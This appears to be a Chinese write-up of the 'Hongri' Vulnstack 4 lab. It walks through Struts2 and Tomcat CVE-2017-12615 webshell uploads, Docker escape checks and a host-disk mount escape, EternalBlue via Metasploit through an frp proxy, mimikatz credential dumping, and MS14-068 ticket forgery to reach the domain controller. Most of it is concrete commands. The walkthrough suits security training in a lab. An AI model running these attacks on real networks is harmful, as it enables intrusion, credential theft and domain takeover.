红日靶场4

环境搭建

下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

然后解压下来三个文件

分别启动每一个的.ovf文件

网卡的配置

两台win主机都选择183这个段

然后web的话第一张网卡选择了NAT,第二张就也是183那个段

机器内容的配置

win7这台机器可以去控制面板设置息屏时间设置为永不息屏即可

web这台机器需要

1
2
3
4
5
6
sudo -s
#ubuntu为密码进入root,然后开启docker的三个容器
docker ps -a
docker start xxx1
docker start xxx2
docker start xxx3

到此环境便搭建成功了!

外网打点

首先nmap进行端口的扫描

发现这里开了4个端口,22,2001,2002,2003

Struts2

发现这里是struts2的框架,这里直接上工具

扫描出来了s2-045/s2-046

尝试进行漏洞的利用

然后利用命令执行,找到上传的路径**/usr/src/src/main/webapp/**

导入冰蝎的木马进行上传,成功冰蝎上线

TomCat 8.5

然后搜索tomcat8.5.19漏洞

找到任意文件写入漏洞进行复现

PUT方法任意写文件漏洞(CVE-2017-12615)

只需要put方法写入即可成功

以上帝视角去容器中看看成功写入1.txt

1
docker exec -it 容器id /bin/bash

然后继续上传jsp的木马,发现报错404

最终通过**/1.jsp/**上传成功,并且解析

PhpMyAdmin

docker逃逸

判断是否为容器环境

首先对于 RT 而言,需要先判断当前环境是不是容器环境,可以直接使用下面的命令去判断

1
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然。

容器逃逸介绍

在开始之前对于容器逃逸主要有以下三种方法:

  1. 不安全的配置
  2. 相关程序漏洞
  3. 内核漏洞

这里分别列举一下每种逃逸的检测方法,这样在拿到一个容器权限的时候,本文可以起到一个手册的作用。

RT 可以通过本文中所提到的检测方法,判断出当前容器可能存在哪种逃逸漏洞,从而采取对应的逃逸方法。

不安全的配置

1、特权模式

执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式

1
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

如果返回 Not privileged mode 则说明当前不是特权模式

2、挂载 Docker Socket

执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket

1
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

如果返回 Docker Socket is not mounted. 则说明没有挂载

3、挂载 procfs

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs

1
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

如果返回 Procfs is not mounted. 则说明没有挂载

4、挂载宿主机根目录

执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载

1
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

如果返回 Root directory is not mounted. 则说明没有挂载

5、Docker remote api 未授权访问

执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问

1
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问

因此发现tomcat这台docker可以进逃逸

1
2
3
4
5
6
cd /
mkdir jklove
fdisk -l #查看磁盘挂载情况
chmod 777 jklove
mount /dev/sda1 /jklove
ls /jklove

挂在成功!

ssh免密登录

复现失败,直接用ubuntu的帐号登录的

内网遨游

登录ubuntu后,发现了183的网段,直接fscan一阵扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
start infoscan
(icmp) Target 192.168.183.129 is alive
(icmp) Target 192.168.183.1 is alive
(icmp) Target 192.168.183.130 is alive
(icmp) Target 192.168.183.159 is alive
[*] Icmp alive hosts len is: 4
192.168.183.130:88 open
192.168.183.159:445 open
192.168.183.130:445 open
192.168.183.1:445 open
192.168.183.159:139 open
192.168.183.159:135 open
192.168.183.130:139 open
192.168.183.1:139 open
192.168.183.130:135 open
192.168.183.1:135 open
192.168.183.129:22 open
192.168.183.1:7890 open
[*] alive ports len is: 12
start vulscan
[*] NetInfo:
[*]192.168.183.1
[->]JK\7r192.168.197.1
[->]192.168.56.1
[->]192.168.157.1
[->]192.168.183.1
[->]192.168.13.1
[->]192.168.242.1
[->]192.168.64.1
[->]192.168.93.1
[->]172.21.66.30
[*] NetInfo:
[*]192.168.183.159
[->]TESTWIN7-PC
[->]192.168.183.159
[*] NetInfo:
[*]192.168.183.130
[->]WIN-ENS2VR5TR3N
[->]192.168.183.130
[*] WebTitle: http://192.168.183.1:7890 code:400 len:0 title:None
[+] 192.168.183.159 MS17-010 (Windows 7 Enterprise 7601 Service Pack 1)
[+] 192.168.183.130 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[*] NetBios: 192.168.183.130 [+]DC WIN-ENS2VR5TR3N.demo.com Windows Server 2008 HPC Edition 7601 Service Pack 1

在这两台机器上出现了永恒之蓝

1
2
[+] 192.168.183.159     MS17-010        (Windows 7 Enterprise 7601 Service Pack 1)
[+] 192.168.183.130 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)

传个frp上去挂个代理

然后连接kali端

然后就选择msf打永恒之蓝

这里有个坑点,不要用proxychains进msf,可能17010打不进去,或者shell进不去

1
2
3
4
5
6
7
8
msfconsole
setg Proxies socks5:127.0.0.1:8989
search ms17
use 0
set payload windows/x64/meterpreter/bind_tcp
set rhost
set target 1
run

信息搜集

1
2
ipconfig /all
找到域控为183.130

开启3389

1
2
3
#开启3389 2选一
1:wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
2:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后用猕猴桃查密码发现了douser用户及其密码

1
2
3
4
proxychains rdesktop 192.168.183.162
douser/demo.com
Dotest123
#发现失去了关系
1
2
#于是准备修改admin的密码进行登录
hongri@2020

登录发现被停用了于是键入

1
net user administrator /active:yes

发现这里存在ms14-068

1
2
MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。
https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-MS14-068.md

首先在msf中进程迁移到douser用户得到sid

然后再RDP中进行导入生成票据

1
MS14-068.exe -u douser@demo.com -p Dotest123 -d 192.168.183.130 -s S-1-5-21-979886063-1111900045-1414766810-1107

会生成一个TGT_douser@demo.com.ccache的文件再当前目录

然后利用猕猴桃生成

1
2
3
4
mimikatz.exe
kerberos::list
kerberos::ptc TGT_douser@demo.com.ccache
kerberos::list

拿下DC

1
dir \\192.168.183.130\C$

成功访问DC的C盘

此时利用存在psexec进行注入

发现开启了防火墙,进行关闭然后使用永恒之蓝打入